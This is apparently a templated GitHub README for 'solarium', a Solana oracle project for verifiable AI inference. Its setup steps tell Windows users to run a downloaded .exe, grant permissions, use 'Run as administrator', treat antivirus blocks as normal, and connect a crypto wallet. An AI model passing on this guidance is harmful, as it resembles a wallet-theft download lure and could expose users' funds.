solarium is a desktop app and on-chain system for verifiable AI inference on Solana. It uses staking, economic consensus, and slashing to help keep AI results honest.

This project is built for users who want a simple way to:

• run AI-backed oracle tasks
• check results on Solana
• use a system that rewards correct work
• reduce trust in a single provider

Visit this page to download and run the app on Windows:

Download solarium from GitHub

If the page shows a release file, download it and run it on your PC. If it shows the full project page, use the files or release area provided there.

Follow these steps on a Windows computer:

1. Open the download link above.
2. Save the file to your computer.
3. If you get a .zip file, right-click it and choose Extract All.
4. Open the extracted folder.
5. Look for the main app file, such as .exe.
6. Double-click the file to start the app.

If Windows asks for permission, choose Allow or Run.

For best results, make sure your PC has:

• Windows 10 or Windows 11
• At least 8 GB of RAM
• 2 GB of free disk space
• a stable internet connection
• a Solana wallet if you plan to use on-chain features

If the app uses local AI tasks, a stronger CPU helps. If you use GPU support, the system may run faster.

When you open solarium for the first time, you may see a setup screen. Use it to:

• connect your wallet
• choose a network
• set your oracle task options
• review the AI inference job settings

If the app shows a prompt for access or file use, allow it so the app can start.

solarium uses a few core parts:

• AI inference: the app runs or checks an AI result
• oracle layer: it passes data between the app and Solana
• staking: users lock value to take part in the network
• consensus: the network checks if the result looks valid
• slashing: bad actors can lose stake if they act against the rules

This design helps the system stay fair and harder to game.

• verifiable AI inference
• Solana-based oracle flow
• staking support
• slashing logic for bad behavior
• economic consensus for result checks
• built with Rust and TypeScript
• made for DeFi and smart contract use cases
• useful for AI, oracle, and on-chain app workflows

The repository topics suggest the project includes work in:

• rust for core logic
• typescript for user tools or app layers
• anchor for Solana program work
• smart-contracts for on-chain rules
• solana for blockchain use
• ai for inference-related tasks
• defi for financial app support

This setup points to a system that connects a user app with blockchain rules in a clear flow.

If solarium asks for wallet access, it may use it to:

• sign actions
• confirm transactions
• verify identity on Solana
• take part in staking or task submission

Use a wallet you trust. Keep your recovery phrase private. Do not share it with anyone.

solarium can fit these kinds of tasks:

• AI result checks for apps
• oracle data feeds
• staking-based validation
• on-chain AI services
• DeFi tools that need trusted data
• smart contracts that need external AI input

• Check that the download finished
• Make sure you extracted the ZIP file
• Right-click the app and choose Run as administrator
• Check if your antivirus blocked the file

• This can happen with new apps
• Confirm you downloaded from the GitHub link above
• Open the file only after you check the source

• Refresh the app
• Check your internet connection
• Make sure your wallet app is open
• Try again after closing and reopening the app

• Check that you are on the right Solana network
• Make sure your wallet has enough funds for fees
• Try again after a few minutes

When you download solarium, you may see files like:

• .exe for the Windows app
• .zip for a packed download
• .json for app settings or config
• project folders for source code
• README files with setup details

If you are only trying to run the app, focus on the release file or Windows build.

solarium is aimed at users and builders who want:

• trust-minimized AI output
• a Solana-based oracle setup
• simple access to verifiable inference
• a system with clear incentives
• a path for smart contract integration

• ai
• anchor
• colosseum
• defi
• hachathon
• oracle
• rust
• smart-contracts
• solana
• typescript

1. Open the GitHub link.
2. Download the app file or release package.
3. Extract the files if needed.
4. Open the main .exe file.
5. Connect your wallet if asked.
6. Follow the on-screen setup steps.
7. Start your first AI or oracle task

If you are a developer, the project likely uses Rust and TypeScript. That means you may need:

• Rust
• Node.js
• npm or yarn
• Solana tools
• Anchor tools

Use the project files in the repository to find the exact build steps

Download solarium from GitHub

A good setup for solarium includes:

• Windows 10 or 11
• 8 GB RAM or more
• modern CPU
• enough free disk space
• internet access
• a Solana wallet
• a browser if the app opens web pages for setup

The main goal of solarium is to reduce trust in a single AI source. It uses staking and checks to push participants toward correct output. That gives users a better way to handle AI data in a blockchain setting

• Oracle: a bridge between blockchain and outside data
• Staking: locking value to join the system
• Slashing: losing stake for wrong behavior
• Inference: an AI system producing an answer
• Consensus: a group method for agreeing on results